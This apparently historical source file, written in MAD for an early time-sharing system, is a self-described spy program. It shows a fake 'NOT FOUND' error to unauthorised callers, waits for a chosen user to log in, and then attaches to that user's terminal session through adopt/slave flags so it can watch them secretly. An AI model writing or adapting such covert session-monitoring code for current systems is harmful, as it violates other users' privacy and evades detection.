          R...NEW SPY PROGRAM
          R
           D'N COMDLN(19)
           D'N IDENT(1)
          R
          R  MAKE SURE PROPER USER
          R
           GETCLS. (COMDLN(19))
           WHOAMI.(IDENT(1)...2)
           W'R ((IDENT(1).NE.$ M1416$).AND.(IDENT(1).NE.$ M4060$))
              PRMESS.(COMDLN(19),$ NOT FOUND.$)
              PRMESS.($READY.$,CR)
                 V'S CR=555757575757K
              IZERO = IZERO
                 V'S IZERO = 0
              SLEEP.
              PRMESS.($ ILLEGAL SEQUENCE OF COMMANDS.$)
              CHNCOM.(0)
           E'L
          R
          R
           NPROB=SPLFN.(COMARG.(1))
           NPROG=COMARG.(2)
          R
LOOP       A=ISIN.(NPROB,NPROG)
           W'R A.E.0
                W'R FIRST, PRMESS.(NPROB,NPROG,$ NOT I$,$N YET$)
                FIRST = 0B
                A = 10
                SLEEP.(10)
                T'O LOOP
           E'L
          R
          R...WHEE.
          R
           UNI=COMLOC.($UNITID$)
           PRMESS.
           GETTM.(DATE,TIME)
           PRMESS.(NPROB,NPROG,$ LINE$,DERBC.(A),BB,DATE,BB,TIME,BB,
          1 GLOC.(UNI+A))
          R
           CHNCOM.(1)
          R
          R...IF WE START AND SAY SLAVE, HE IS CAUGHT.
          R
           ADOPT=COMLOC.($ADOPT$)
           USR=COMLOC.($USER$)
          R
           SLOC.(IOOO.V.A,ADOPT+GLOC.(USR))
           SLOC.(SLAVER.V.IOOO.V.GLOC.(ADOPT+A),ADOPT+A)
          R
          R....CONNECTION MADE
          R
           TEMP = TEMP
SLX        SLEEP.(10)
           W'R ((GLOC.(ADOPT+GLOC.(USR)).EX.(IOOO.V.A)).A.PTA)
          1  .V.((GLOC.(ADOPT+A).EX.(SLAVER.V.IOOO))
          2  .A.(SLAVER.V.IOOO)) .NE. 0, T'O LOOP
           T'O SLX
          R
           V'S FIRST=1B
           V'S TEMP = 10
           V'S PTA=700 000 777 777K
           V'S BB=605757 575757K
           V'S IOOO=3K5
           V'S SLAVER=7K11
           N'R
           E'M
